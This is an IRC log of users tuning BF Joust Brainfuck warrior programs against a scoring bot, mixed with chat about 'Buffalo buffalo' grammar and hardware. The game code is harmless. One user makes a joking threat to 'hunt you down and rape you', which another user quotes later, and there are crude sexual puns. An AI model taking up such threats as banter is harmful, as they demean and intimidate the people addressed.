20:51:37 <oerjan> <np> ::= <rnp> (<np> "buffalo")*, <rnp> ::= "Buffalo buffalo" | "buffalo"
20:54:21 <oerjan> it's like parenthesis matching if you could change any ( to a )
20:54:29 <jix> !bfjoust wiggle1 (>)*5(>[-[-[-[++++[+]]]]]+>[+[+[+[----[-]]]]]-)*40
20:54:37 <EgoBot> Score for jix_wiggle1: 14.3
20:54:46 <jix> !bfjoust wiggle1 (>)*2(>[-[-[-[++++[+]]]]]+>[+[+[+[----[-]]]]]-)*40
20:54:54 <EgoBot> Score for jix_wiggle1: 24.3
20:55:00 <jix> !bfjoust wiggle1 (>[-[-[-[++++[+]]]]]+>[+[+[+[----[-]]]]]-)*40
20:55:08 <EgoBot> Score for jix_wiggle1: 29.5
20:56:47 <GregorR-L> Wiggle waggle shake and <something>
21:00:54 <jix> !bfjoust wiggle2 (>[-[-[-[++++[+]->[+[+[+[----[-]]]]]]->[+[+[+[----[-]]]]]]->[-[-[-[++++[+]]]]]]->[+[+[+[----[-]]]]]]->[+[+[+[----[-]]]]]+)*15
21:01:03 <EgoBot> Score for jix_wiggle2: 25.1
21:02:45 <jix> !bfjoust wiggle2 (>[-[-[-[++++[+]+>[+[+[+[----[-]]]]]]+>[+[+[+[----[-]]]]]]+>[+[+[+[----[-]]]]]]+>[+[+[+[----[-]]]]]]+>[+[+[+[----[-]]]]]-)*15"
21:02:53 <EgoBot> Score for jix_wiggle2: 20.1
21:03:35 -!- Sgeo has joined.
21:04:17 <oerjan> kerlo_: (Buffalo buffalo)^n from the start cannot contain the end of any non-trivial noun phrase. it will take about n/2 "buffalo" just to end those, which cannot be encoded in finite state. Thus not regular. I think.
21:04:55 <oerjan> maybe add one more Buffalo first to take care of capitalization.
21:05:01 <jix> !bfjoust wiggle2 (>[-[-[-[++++[+]+>[+[+[+[----[-]]]]]->[-[-[-[++++[+]]]]]]+>[+[+[+[----[-]]]]]->[-[-[-[++++[+]]]]]]+>[+[+[+[----[-]]]]]->[-[-[-[++++[+]]]]]]+>[+[+[+[----[-]]]]]->[-[-[-[++++[+]]]]]]+>[+[+[+[----[-]]]]]->[-[-[-[++++[+]]]]]-)*15
21:05:10 <EgoBot> Score for jix_wiggle2: 19.4
21:06:51 <jix> !bfjoust wiggle2 (>[-[-[+++[+]+>[+[+[---[-]]]]]->[-[-[+++[+]]]]]->[-[-[+++[+]]]]]->[-[-[+++[+]]]]-)*15
21:07:00 <EgoBot> Score for jix_wiggle2: 26.7
21:08:05 <jix> !bfjoust wiggle2 (>[-[-[+++[+]+>[+[+[---[-]+>[+[+[---[-]]]]]+>[+[+[---[-]]]]]->[-[-[+++[+]]]]]+>[+[+[---[-]]]]]+>[+[+[---[-]+>[+[+[---[-]]]]]+>[+[+[---[-]]]]]+>[+[+[---[-]]]]]+>[+[+[---[-]]]]]+>[+[+[---[-]->[-[-[+++[+]]]]]+>[+[+[---[-]]]]]->[-[-[+++[+]]]]]+>[+[+[---[-]]]]]+>[+[+[---[-]+>[+[+[---[-]]]]]+>[+[+[---[-]]]]]+>[+[+[---[-]]]]]->[-[-[+++[+]]]]-)*10
21:08:13 <EgoBot> Score for jix_wiggle2: 34.0
21:09:05 <tetha> oerjan: as soon as you show that you need to remember a number of character which depends on the input somehow, you are done, as it is not possible in finite state, so n or n/2 or something like that is only a technical detail
21:10:08 <jix> !bfjoust wiggle2 >+>+>->->->(>[-[-[+++[+]+>[+[+[---[-]+>[+[+[---[-]]]]]+>[+[+[---[-]]]]]+>[+[+[---[-]]]]]->[-[-[+++[+]]]]]->[-[-[+++[+]->[-[-[+++[+]]]]]->[-[-[+++[+]]]]]->[-[-[+++[+]]]]]+>[+[+[---[-]]]]]+>[+[+[---[-]+>[+[+[---[-]]]]]+>[+[+[---[-]]]]]->[-[-[+++[+]]]]]+>[+[+[---[-]]]]]->[-[-[+++[+]+>[+[+[---[-]]]]]+>[+[+[---[-]]]]]+>[+[+[---[-]]]]]->[-[-[+++[+]]]]-)*9
21:10:16 <EgoBot> Score for jix_wiggle2: 38.9
21:13:54 <jix> oh what i'm doing is basically what shade is doing...
21:13:58 <jix> only that shade is doing it better...
21:14:10 <jix> and yeah my debugger is usefull by now
21:14:28 <jix> but will have to polish it a bit before releasing
21:14:45 <jix> and maybe do something that allows monster programs to be "compiled" faster
21:16:54 <jix> no wait i think i'm doing it better... now
21:17:08 <jix> except i don't use enough steps
21:19:46 <tetha> mm, genetic algorithms + bf joust
21:23:18 <oerjan> there still remains the question of whether those buffaloes can be herded into a deterministic PDA, or even just an unambiguous grammar...
21:23:59 <tetha> yacc-magicians can answer that better than I can
21:24:41 <oerjan> yaccs, buffaloes, what's the difference
21:27:12 <oerjan> i think this language has no non-trivial forbidden prefix
21:32:02 -!- kar8nga has quit (Read error: 110 (Connection timed out)).
21:32:56 -!- cherez1 has joined.
21:33:09 -!- cherez1 has left (?).
21:33:57 <jix> !bfjoust wiggle2 >-(>+)*4>(>([-)*5[(+)*6[+(]->([+)*5[(-)*6[-)*2(])*8+(>([+)*5[(-)*6[-(])*8-)*3>([+)*5[(-)*6[-(])*8+(>([-)*5[(+)*6[+(])*8-)*2>([-)*5[(+)*6[+(]-(>([+)*5[(-)*6[-(])*8+)*2>([-)*5[(+)*6[+(])*7)*2]+>([+)*5[(-)*6[-(])*8+>([-)*5[(+)*6[+]->([+)*5[(-)*6[-(])*8(+>([-)*5[(+)*6[+(])*8)*2->([-)*5[(+)*6[+(])*8->([+)*5[(-)*6[-(])*8(->([-)*5[(+)*6[+(])*8)*2(+>([+)*5[(-)*6[-])*2(])*7(+>([+)*5[(-)*6[-(])*8->([-)*5[(+)*6[+(])*8)*2+>([+)*5
21:34:03 <EgoBot> Score for jix_wiggle2: 0.0
21:34:55 <oerjan> ([+)*5 is not particularly useful at the end
21:35:08 <jix> ah it got cut then
21:36:39 <jix> !bfjoust wiggle2 http://pastebin.com/pastebin.php?dl=d44ba4d2
21:36:47 <EgoBot> Score for jix_wiggle2: 24.1
21:37:43 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
21:38:15 <Deewiant> Did something happen to the scoring again?
21:38:25 <jix> seems strange to me
21:38:31 <jix> but otoh i'm changing quite a lot in my program with each try
21:38:49 <jix> the 0.0 was irc cutting of my program
21:39:51 <jix> !bfjoust wiggle2 http://pastebin.com/pastebin.php?dl=d1fe166c4
21:39:59 <EgoBot> Score for jix_wiggle2: 36.0
21:40:15 <oerjan> unbalanced ()* looks hard to read...
21:41:37 * oerjan sees a ([-)*5[(+)*6[+(])*8 in there
21:41:57 <jix> well but the interpreter accepts it
21:42:01 <jix> and it's program generated anyway
21:42:05 <oerjan> that's not even balanced
21:42:16 <jix> as i said it was cut by irc
21:42:29 <oerjan> jix: only because GregorR-L couldn't manage to do the efficient ({}) without expanding
21:42:35 <jix> oerjan: i know
21:42:53 <jix> and the only reason i did this at all was to get the code short enough for irc
21:43:30 <oerjan> i thought ({})% was shorter than splitting it up...
21:43:44 <jix> well i don't have ({})% in my code
21:43:54 <jix> i just did some repeated string => ()* replacement
21:44:03 <jix> the code itself is completely unrolled
21:44:12 <oerjan> (a{b}c)%n vs. (a)*nb(c)*n
21:46:33 <jix> !bfjoust wiggle2 http://nopaste.org/p/aWqgSqGndb/txt
21:46:44 <EgoBot> Score for jix_wiggle2: 39.6
21:48:49 <jix> !bfjoust wiggle2 http://nopaste.org/p/azHq8yTRkb
21:48:56 <EgoBot> Score for jix_wiggle2: 0.0
21:49:02 <jix> !bfjoust wiggle2 http://nopaste.org/p/azHq8yTRkb/txt
21:49:11 <EgoBot> Score for jix_wiggle2: 42.1
21:57:28 -!- tombom_ has joined.
21:57:38 -!- adu has joined.
21:57:46 -!- ais523 has joined.
21:58:04 <kerlo_> oerjan: I was looking for a good subset.
21:59:23 <oerjan> kerlo_: well then Buffalo (buffalo)* should do nicely...
21:59:54 <oerjan> there was that even/odd thing
22:00:18 <kerlo_> Buffalo buffalo buffalo. Buffalo buffalo buffalo buffalo buffalo. Buffalo buffalo buffalo buffalo buffalo buffalo.
22:00:42 <jix> !bfjoust wiggle2 http://nopaste.com/p/aBPObTXOlb/txt
22:00:52 <EgoBot> Score for jix_wiggle2: 30.4
22:01:01 <oerjan> the capitalization neutralizes the even/odd distinction
22:01:33 <oerjan> the odd ones don't really use the city
22:01:41 <oerjan> the even ones only once, first
22:03:21 <jix> !bfjoust wiggle2 http://nopaste.com/p/aJLB4WVu9/txt
22:03:26 <oerjan> any instance of buffalo as a noun can be replaced by three copies
22:03:30 <EgoBot> Score for jix_wiggle2: 30.8
22:03:31 <ais523> what's the shortest Buffalo sentence that's ambiguous?
22:03:38 <oerjan> (the first two still being nouns)
22:04:44 <ais523> the five sentence has ambiguous associativity
22:05:17 <oerjan> the four one only if we ignore capitalization
22:08:02 <jix> !bfjoust wiggle2 http://nopaste.com/p/aVY5DjSAD/txt
22:08:11 <EgoBot> Score for jix_wiggle2: 45.2
22:10:34 <ais523> ooh, Firefox 3 just overtook IE6
22:10:53 <jix> hmmm how do defend6 and 7 work?
22:11:09 <ais523> jix: tripwire, followed by attempting to trap the opponent in a [+] or [-] loop
22:11:09 <psygnisfive> the 2*Buffalo sentence is ambiguous in english.
22:11:26 <jix> ais523: and how does it win?
22:11:30 <ais523> 7 uses decoys, apart from that there's no difference
22:11:38 <ais523> and it wins by leaving the opponent stuck in [+] or [-] on its flag
22:11:45 -!- adu has quit.
22:11:50 <oerjan> psygnisfive: we were using kerlo's grammar
22:11:55 <ais523> alternating between defending the flag (preventing it being 0 twice in a row), and attacking
22:12:04 <ais523> so it gradually zeroes all possible enemy flags while defending its own
22:12:08 <pikhq> psygnisfive: As is the 1-Buffalo sentence.
22:12:23 <ais523> pikhq: is that even a sentence?
22:12:27 <psygnisfive> the 1-buffalo sentence isnt ambiguous unles you accept fragments.
22:12:31 <ais523> you'd need an exclamation mark, at least
22:13:06 <psygnisfive> but theres no other interpretation of it as a sentence.
22:13:25 <pikhq> As in the city or the animal.
22:13:41 <jix> !bfjoust wiggle2 http://nopaste.com/p/aJlGw7KYJ/txt
22:13:49 <EgoBot> Score for jix_wiggle2: 19.6
22:14:09 <ais523> jix: go back to the old one, and use a different name for test programs
22:14:21 <jix> it is a test program
22:14:25 -!- tombom has quit (Connection timed out).
22:14:26 -!- tombom_ has changed nick to tombom.
22:14:40 <jix> until know i got better score with each edit or each edit sequence of two
22:14:54 <ais523> jix: a program that comes fourth is not a test program, even if it was meant to be
22:15:11 <jix> !bfjoust wiggle2 http://nopaste.com/p/aVY5DjSAD/txt
22:15:20 <EgoBot> Score for jix_wiggle2: 40.5
22:15:27 -!- tombom has quit ("Peace and Protection 4.22.2").
22:15:48 <jix> but isn't it bad to fill the hill with test programs?
22:15:52 <ais523> also, it's interesting to see how speedy19 has dropped off and speedy0 hasn't; they were neck and neck (although against different programs) last I looked
22:15:52 <jix> that just happen to be above average?
22:15:58 <pikhq> psygnisfive: It's a minor sentence and an exclamation. ;)
22:16:07 <ais523> and they won't fill the hill if they aren't good
22:16:09 <pikhq> (or I'm just wrong)
22:16:12 <ais523> and if they are, they don't count as test programs
22:16:33 <jix> ais523: how should i know before ^^ it's not that i test them locally
22:16:43 <psygnisfive> there is no such thing as a "minor sentence" anyway.
22:16:57 <jix> maybe i should do that...
22:17:37 * pikhq wonders if psygnisfive has never heard someone exclaim at seeing something with a single word.
22:17:53 <Deewiant> ais523: So did the scoring change again or did the programs just change so much as to re-mess-up the rankings?
22:17:53 <ais523> jix: well, one possibility upon submitting a test program and it doing very well is to clear it from the hill with <, then submitting an identical program with a non-test name
22:17:53 <psygnisfive> i have seen people exclaim things, pikhq, but that doesnt make it a sentence
22:17:59 <ais523> Deewiant: just program change
22:18:02 <ais523> the hill is rather dynamic
22:18:10 * psygnisfive wonders if pikhq realizes he's arguing with a linguist
22:18:21 <Deewiant> I'm somewhat surprised how much monorail dropped
22:18:27 <pikhq> I think your definition of a sentence sucks.
22:18:41 * oerjan wonders if psygnisfive realizes he's arguing with a pikhq
22:19:04 <psygnisfive> oerjan: good point. never argue with amateurs who don't realize they're amateurs. :(
22:19:26 <pikhq> Oh, I realise I'm an amateur. I just like being contrary.
22:19:46 * oerjan didn't know he was making a point
22:19:56 -!- adu has joined.
22:20:15 <psygnisfive> now pikhq, see, if you WEREN'T an amateur, you would be capable of saying something like, oh "well sure, its an NP, or it LOOKS that way, but really its a sentence that had the NP evacuated from the VP and then had the rest of the content elided!"
22:21:21 <jix> hmmm now i have to add a nontrappable []
22:22:17 <jix> does the interpreter support (foo(bar{baz}fn)%10ord)*10 ?
22:22:30 <jix> or can't i put ({})% inside ()*
22:22:50 * pikhq goes on calling "Buffalo!" a sentence because it works as one in the minds of everyone but a linguist
22:22:59 <ais523> jix: putting ({})% inside ()* ought to work
22:23:04 <psygnisfive> actually it doesnt work in the mind of everyone
22:23:04 <pikhq> (bloody prescriptionist. :p)
22:23:28 <psygnisfive> but noone accepts "buffalo" as anything other than a bare NP in the other interpretation
22:23:48 <jix> ais523: hrrm trapping someone in [+] or [-] is unfair ;)
22:23:49 <psygnisfive> furthermore, you cant be prescriptivist about the structural analyses you make because they're analyses, not observations.
22:24:01 <psygnisfive> thirdly, call me a prescriptivist again and ill hunt you down and rape you.
22:24:03 <pikhq> Funny, parses to me as "(Look,) bufallo!"
22:24:07 <jix> ais523: (not serious... hence the smiley)
22:24:14 <ais523> defend9 can trap people in about 12 different sorts of loops; but it isn't doing as well for some reason
22:24:18 <jix> ais523: it's just that as soon as you're trapped... it's to late
22:24:19 <ais523> maybe because it's having trouble detecting
22:24:34 <pikhq> "(Look,) buffalo!"
22:24:36 <psygnisfive> pikhq: thats the interpretation of the utterance, yes
22:24:59 <psygnisfive> there is this thing called pragmatics, and the maxim of relevance, which allows people to calculate an enormous amount of stuff
22:25:52 <pikhq> Okay, so you're saying it's not a sentence, but our brains are absurdly flexible with it's handling of language, so it manages to (usually) work, basically.
22:25:53 <psygnisfive> and in this particular case, a bare NP + maxim of relevance can be interpreted (CONTEXTUALLY) as intending to communicate the existence of the NP.
22:26:09 <psygnisfive> pikhq: not absurdly flexible, just sufficiently flexible.
22:26:43 <psygnisfive> you can observe this by considering the enormous range of contexts in which just "Buffalo" is acceptable as a response to, say, a question
22:27:05 <psygnisfive> where the interpretation of the bare NP, as an utterance, is NOT an assertion of the existence of a buffalo
22:27:16 <psygnisfive> "What should we have for dinner?" "Buffalo wings."
22:27:23 <psygnisfive> "Where should we go on vacation?" "Buffalo"
22:27:26 <jix> !bfjoust wiggle3 http://nopaste.com/p/ahoQwZcHz/txt
22:27:31 <pikhq> I think I'm just going to hate natural languages for making less sense than programming languages and shaddup.
22:27:39 <EgoBot> Score for jix_wiggle3: 22.1
22:28:03 <psygnisfive> pikhq: if you learned some linguistics you'd realize that they make a whole lot of sense, actually.
22:28:17 <psygnisfive> but this stuff about bare NPs and such isnt so much a linguistic fact as a human fact
22:28:40 <psygnisfive> because its just part of a broader cognitive capacity that we have for analyzing peoples actions
22:28:41 <pikhq> Screw you and your knowing-stuff. :p
22:29:21 <psygnisfive> natural language, by itself, is quite elegant and beautiful.
22:30:39 <psygnisfive> also, pikhq, learn about modern syntax. its cool.
22:31:15 <pikhq> Guess I've got something to read after I finish Dr. McNinja, then.
22:32:39 <psygnisfive> the part on structuralism and formal languages you probably already understand so you could probably skip it
22:33:30 <pikhq> Alright. Thanks for the suggestion of something to read that'll make me sound *slightly* less ignorant about this.
22:34:01 <psygnisfive> well, the series im writing is really just about contemporary syntax frameworks
22:34:20 <psygnisfive> it doesnt discuss detailed issues, nor does it really look at ling methodology
22:34:57 <jix> haha wiggle2 is like 5 times as large as the next smaller one...
22:35:13 <jix> and wiggle3 is almost 8 times as large as wiggle2
22:36:22 <ais523> are you sure that can't be abbreviated?
22:36:36 <jix> not that efficiently i guess
22:36:40 <jix> a) i'm randomizing stuff
22:37:09 <jix> b) i have no point b right now
22:38:08 <jix> at least the recursive pattern isn't in a way it would be obvious for me on how to efficiently and syntactic legally write this abbreviated
22:38:24 <ais523> jix: was your question about defend6/7 because you wanted to find a way to beat them?
22:38:41 <ais523> (I notice lots of [+] and [-] in your program)
22:38:45 <oerjan> by next week the top-of-the-hill BF Joust programs should need to be sentient.
22:39:02 <ais523> actually, sentient BF Joust might be interesting
22:39:20 <ais523> on your turn, you can do + - < > or look at whether the current tape element is 0
22:39:33 <jix> that would be awesomeish
22:39:43 <ais523> could be rather boring, I imagine
22:40:33 <jix> people play rock paper scissors...
22:40:58 <jix> hmmm most of the code of wiggle2 will never be executed
22:41:26 <jix> but i try to minimize the amount of times i have to go through a long run of ]]]
22:42:48 <oerjan> hm you could need rather _huge_ programs if you try to avoid ]]
22:43:05 <oerjan> replacing loops by nesting ifs...
22:43:19 <jix> basically that's what i'm doing
22:43:42 <jix> the outer loops really are just ifs... because the closing condition will always be false
22:44:20 <oerjan> a variation without that problem would be to say that ] takes no time, but jumps to _before_ the corresponding [
22:44:32 <ais523> jix: "always" is generally a bad thing to think in BF Joust
22:44:42 <ais523> after the first 10 or so cycles, anything could happen
22:44:47 <jix> ais523: yeah
22:45:19 <jix> so maybe i'm better off checking it twice before doing the shortcut recursion stuff
22:45:20 <oerjan> hm wait that may not work
22:45:35 <jix> oerjan: won't
22:45:58 <jix> oerjan: basically ] should skip to the next non ] instruction in case of 0 for me
22:48:28 -!- adu has quit.
22:52:55 -!- BeholdMyGlory has quit (Remote closed the connection).
22:53:40 <ais523> TBH, I think allowing BF Joust to have a conditional goto instruction wouldn't change the game at all, but would make programs a lot shorter
23:02:08 -!- ehird has left (?).
23:02:28 -!- ehird has joined.
23:02:32 -!- ehird has changed nick to ehird_.
23:10:36 <ehird_> 06:46 AnMaster: GregorR-L, fan broke. Going to get the fan replaced today.
23:10:36 <ehird_> 06:47 AnMaster doesn't trust himself to to that, thus going to leave it to pros.
23:10:40 <ehird_> Replacing a computer fan is hard?
23:10:52 <ehird_> 06:48 AnMaster: GregorR-L, and 450 SEK for both new fan AND replacement of it.
23:10:54 <ehird_> that's ridiculously expensive
23:11:08 <ehird_> 06:51 AnMaster: so low end it doesn't even have a fan!
23:11:11 <ehird_> that's no indicator of low end
23:11:37 <ehird_> 10:05 AnMaster: sure, there are sounds in English that aren't in Swedish (and vice versa) but that "chef" one didn't get those right.
23:11:40 <ehird_> it's ... not meant to.
23:12:14 <jix> !bfjoust wiggle3 http://nopaste.com/p/aXjcWArLU/txt
23:12:23 <EgoBot> Score for jix_wiggle3: 22.0
23:12:49 <jix> haha wiggle3 now wins against the defends
23:12:54 -!- coppro has joined.
23:12:54 <jix> but looses otherwise
23:12:58 <ehird_> 10:18 AnMaster: btw, I can't stand this 1280x1024 on 1400x1050 monitor thing.... So I'm going to be mostly afk
23:12:58 <ehird_> 10:18 AnMaster: before I get a headache from it
23:13:00 <ehird_> 10:18 GregorR-L: Wow, that's extreme.
23:13:44 <ehird_> 10:37 AnMaster: Asztal, but anyway good cable helps. Usually thicker cables are better. Probably due to the extra thickness being more shielding
23:13:46 <jix> hmmm idea on how to break defend...
23:13:49 <ehird_> snaaaaaaaaaake oiiiiiiiiiiiiil
23:13:51 -!- FireFly has quit ("Later").
23:14:13 <ehird_> 13:01 AnMaster: PITA = Pain in the Back (you can figure out what the last word should be yourself
23:14:49 <ehird_> 14:42 pikhq: So, AMD has 6 core chips now.
23:14:49 <ehird_> 14:43 pikhq: ehird: That means the uberrig has an additional 16 cores. :p
23:14:50 <ehird_> Nehalem-XE = 8 cores on one chip, iirc, and mobos w/ 4 sockets.
23:14:52 <ehird_> Beat that, bitchnizzle.
23:16:25 <ehird_> 17:09 kerlo_: Anyway, okay. Regular grammars are to O(x) as context-free grammars are to O(x^2) as English grammar is to O(x log x).
23:17:17 <ehird_> 18:27 kerlo_: I'm trying to find the ä sound, as in "Autistic law, Paw, walks tall."
23:17:24 <ehird_> autistic law? i'm scared
23:19:47 <ehird_> 21:22 pikhq goes on calling "Buffalo!" a sentence because it works as one in the minds of everyone but a linguist
23:19:53 * ehird_ goes on calling brainfuck not a programming language because etc
23:20:15 <ehird_> 21:24 psygnisfive: thirdly, call me a prescriptivist again and ill hunt you down and rape you.
23:20:18 <ehird_> you like it that much?
23:20:46 <oerjan> er, what's that smiley?
23:21:07 <oerjan> which part is the mouth?
23:21:39 <ais523> it's not a smiley, it's a hole body
23:22:19 <ehird_> and read the responses to my logreading
23:22:22 <ehird_> lament: yes, pain in the altruist.
23:22:28 <ehird_> 23:21 psygnisfive: your moms a hole body.
23:22:48 <jix> !bfjoust antidefend1 ([>[>[-]+]+]+)*20
23:22:55 <EgoBot> Score for jix_antidefend1: 15.6
23:23:19 <EgoBot> Score for lament_bye: 0.0
23:23:36 <ehird_> ↑ this basically means, well why no what 's the
23:24:48 <ehird_> psygnisfive: this is a sentence: the
23:24:51 * ehird_ watches psygnisfive squirm
23:25:00 <jix> !bfjoust antidefend1 ([>[>[-.-.-.]+]+]+)*20
23:25:07 <EgoBot> Score for jix_antidefend1: 17.8
23:25:11 <ehird_> 15:02:28 --- join: ehird (n=ehird@208.78.103.223) joined #esoteric
23:25:11 <ehird_> 15:02:32 --- nick: ehird -> ehird_
23:25:13 <psygnisfive> you dared disagree with a linguist is what happened!
23:25:15 -!- ehird_ has changed nick to ehird.
23:25:32 <ehird> psygnisfive: actually i agree, "buffalo" isn't a sentence
23:25:39 <ehird> lament: well there's probably a place called the
23:25:42 <ehird> but unfortunately no such verb
23:25:47 <ehird> psygnisfive: well, yeah
23:25:49 <ehird> but apart from that
23:26:00 <lament> linguist, but not very cunning
23:26:07 <ehird> T________________________________T
23:26:23 <jix> with defend6 and defend7 there is no way to not fall into the trap
23:26:40 <ehird> psygnisfive: cunninglinguist‽‽‽‽‽‽‽‽‽‽
23:26:45 <psygnisfive> well, cunning if its a transboy, but thats a different sort of thing.
23:26:46 <ehird> HAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAAHA
23:27:16 <jix> haha antidefend brought slowrush onto the top
23:27:33 <psygnisfive> ##compling has a bot that will say "Chomsky is cunnilingual" if you say "syntax"
23:27:59 <lament> do they all speak lojban in ##compling?
23:29:04 <ehird> psygnisfive: no it doesn't
23:29:32 <psygnisfive> just below the threshold of "fucking kick this bot"
23:30:55 -!- KingOfKarlsruhe has quit (Remote closed the connection).
23:35:26 <psygnisfive> i have a giant reeses peanut butter cup. :T
23:35:42 <ehird> well give it back to Reese or he'll go fe fi fo fum
23:37:10 <ehird> psygnisfive: well without the 'a'
23:37:16 <ehird> the a makes it pretty unambiguous
23:38:12 <ehird> psygnisfive: well, sure
23:38:15 <ehird> but that's very stretched
23:38:21 <oerjan> incidentally "rise" is a norwegian word for giant
23:38:24 <ehird> *just like your butt etc*
23:38:58 <ehird> thanks for that; we care.
23:45:48 -!- olsner has quit ("Leaving").
23:47:00 -!- Judofyr has quit (Remote closed the connection).
23:53:06 <jix> !bfjoust foobar >>+>+>+[[<]>[+++[-]+>]<]
23:53:30 <EgoBot> Score for jix_foobar: 3.7
23:54:17 <ehird> [[Me: I want to see the one we always called the “Hell Paper” at Queen’s — the mandatory fourth-year paper. You know the one, where we prove P = NP?
23:54:17 <ehird> New Girl: I did that! I proved P = NP! I placed near the top of the class, and the professor used my paper as an example!]]
23:54:22 <ehird> http://www.joeydevilla.com/2003/04/07/what-happened-to-me-and-the-new-girl-or-the-girl-who-cried-webmaster/
23:56:30 <ehird> GregorR-L: Read the whole thing
23:59:42 <oerjan> ehird: you realize you just spoiled it?
23:59:49 <ais523> a nice way to tell if someone's bullshitting
23:59:59 <ais523> but of course, we all know the answer (P = 1 or N = 0)
00:00:24 <ehird> ais523: pretty epic story, though
00:01:33 <ais523> I wonder what she was meant to be employed for?
00:02:18 <ehird> ais523: what do you mean?
00:02:29 <ais523> I mean, presumably there was some reason he was involved with her in the first place
00:02:33 <ehird> ais523: girlfriend
00:03:36 <ehird> oh god, a jeff atwood post
00:19:17 <jix> !bfjoust foobar >>>+>+[]<[--](-)*111(+)*100000
00:19:48 <EgoBot> Score for jix_foobar: 0.0
00:20:11 <jix> what was the stepcount again?
00:27:34 <ehird> ais523: Wolfram Research are hard at work adding pointless hardcoded gags to Wolfram|Alpha instead of improving it: http://www65.wolframalpha.com/input/?i=Where+is+Waldo%3F
00:31:29 <jix> !bfjoust foobar >>>>>>>>(>[+[+[+[+[+[-[-[-[@-----]]]]]]]]])*20
00:31:36 <EgoBot> Score for jix_foobar: 13.2
00:46:23 -!- AnMaster has joined.
00:49:52 <jix> breakpoint in my debugger ^^
00:53:09 <jix> !bfjoust foobar >>>>>>>>(>[+[+[+[+[+[-[-[-[@-----]]]]]]]]])*30
00:53:16 <EgoBot> Score for jix_foobar: 13.3
00:55:09 <jix> !bfjoust foobar (+>[<(+++++[->-<]>+++++[-])*30])*30
00:55:17 <EgoBot> Score for jix_foobar: 7.0
00:56:39 -!- inurinternet has quit (Read error: 113 (No route to host)).
01:00:24 -!- ais523 has quit (Remote closed the connection).
01:01:07 -!- ais523 has joined.
01:03:07 -!- oerjan has quit ("Good night").
01:06:45 <jix> !bfjoust wiggle3 (>+>-)*4 (>([-)*5 [+++++ ([+)*20 [-] (])*20] (])*5)*30
01:06:54 <EgoBot> Score for jix_wiggle3: 35.1
01:07:48 <jix> my goal is a short, readable version of wiggle that gets good results
01:08:59 <ehird> "Why GIMP is Better than Adobe Photoshop"
01:11:12 <lament> Why emacs is better than visual studio
01:11:39 -!- Corun has changed nick to Corun|away.
01:11:39 <jix> !bfjoust wiggle3 (>+>-)*4(>([-)*5[+++++([+)*8(+)*15[-](])*8](])*5+>([+)*5[-----([-)*8(-)*15[+](])*8](])*5-)*15
01:11:47 <EgoBot> Score for jix_wiggle3: 35.6
01:13:26 -!- Corun|away has changed nick to Corun.
01:15:35 <jix> !bfjoust wiggle3b (>+>-)*4(>([-)*5[+++++([+)*8(+)*15[-.](])*8](])*5+>([+)*5[-----([-)*8(-)*15[+.](])*8](])*5-)*15
01:15:42 <EgoBot> Score for jix_wiggle3b: 34.6
01:16:02 <jix> !bfjoust wiggle3b <
01:16:08 <EgoBot> Score for jix_wiggle3b: 0.0
01:18:35 <jix> !bfjoust wiggle3b (>+>-)*4(>([-)*5[+++++([+)*8(+)*15[-.](])*8](])*5+>([+)*5[-----([-)*8(-)*15[+.](])*8](])*5-)*2(>([-)*5[+++++([+)*8(+)*15[-](])*8](])*5+>([+)*5[-----([-)*8(-)*15[+](])*8](])*5-)*15
01:18:43 <EgoBot> Score for jix_wiggle3b: 26.9
01:19:55 <jix> !bfjoust wiggle3b <
01:20:01 <EgoBot> Score for jix_wiggle3b: 0.0
01:30:36 <nescience> jix: i don't suppose you could cut out that putting a dozen clones of the same thing on the hill bit?
01:31:21 <nescience> unless you think it'd be fun if the rest of us did the same thing
01:33:11 <jix> all wiggle versions on the server are different
01:33:40 <jix> except the wiggle3b version which was a try to get better than wiggle3 and thus got removed as it wasn't
01:34:00 <nescience> they'r esame enough to have the same name eh?
01:34:01 <ehird> jix: same basic implementation = same name
01:34:24 <jix> well they are as similar as defend*
01:34:46 <jix> they share the same concept
01:35:02 <nescience> there's 3 defends, one is majorly different from the other two.. but when i said that i saw like 5 wiggles on the hill
01:35:18 <jix> nescience: there were 4 and one was already deleted by sucide
01:35:36 <nescience> correction: 5 and one is now a suicide
01:35:53 <jix> oh didn't saw that jix__ one
01:35:58 <jix> that is left there by accident
01:36:00 -!- jix has changed nick to jix_.
01:36:05 <jix_> !bfjoust wiggle1 <
01:36:11 <EgoBot> Score for jix__wiggle1: 0.0
01:36:14 -!- jix_ has changed nick to jix.
01:36:15 <nescience> if you want to try something else, just reuse the name.. that way you don't bump all the variety (?) off the hill
01:36:27 <ehird> jix: you could have just done !bfjoust _wiggle1
01:36:32 <nescience> i mean, if you want to try and see if some code does better than som eother code
01:36:37 <jix> nescience: ais523 just told me a few hours ago to not do that....
01:36:59 <jix> but instead use a different name and then suicide or replace it
01:37:11 <jix> so i don't delete my good programs with bad testing programs
01:37:28 <nescience> but i'm talking variants, not new programs
01:37:57 <ehird> yeah ais523's wrong; his suggestion would clutter the hill
01:38:05 <jix> well wiggle1,2,3 are different programs
01:38:08 <nescience> if you are testing if having 3 +s does better than 1, it doesn't make sense to submit a bunch of warriors, thus knocking off stuff for no reason
01:38:10 <ehird> he was angry jix lost space 4 or sth
01:38:15 <ais523> ehird: I don't like good programs being deleted
01:38:22 <ais523> if you have a program that does well, use another name for testing
01:38:25 <ehird> ais523: even for 3 seconds?
01:38:33 <ais523> and replace the good program even when one of the tests does better
01:38:59 <jix> well i for myself don't really care ^^
01:39:20 <jix> so i'll just do _something_ now as someone will complain anyway
02:02:11 <ehird> AnMaster: btw you can do watercooling without a pump
02:02:29 <ehird> can cool more things than heatpipes but less than pumpful watercooling
02:15:42 -!- Patashu has joined.
02:18:28 <jix> !bfjoust wiggle3 http://nopaste.com/p/a2wMZwDJe/txt
02:18:37 <EgoBot> Score for jix_wiggle3: 33.7
02:32:47 <jix> !bfjoust wiggle3 http://nopaste.com/p/axaXCQAjY/txt
02:32:56 <EgoBot> Score for jix_wiggle3: 35.2
02:37:48 <jix> !bfjoust wiggle3 http://nopaste.com/p/aP6cwk1x5/txt
02:37:56 <EgoBot> Score for jix_wiggle3: 35.2
02:40:15 <jix> !bfjoust wiggle3 http://nopaste.com/p/aUeFcpPwdb/txt
02:40:23 <EgoBot> Score for jix_wiggle3: 36.6
02:45:13 <jix> !bfjoust wiggle3 http://nopaste.com/p/aJDTST6eN/txt
02:45:20 <EgoBot> Score for jix_wiggle3: 37.0
02:48:23 <jix> !bfjoust wiggle3 http://nopaste.com/p/aWq3CeYTo/txt
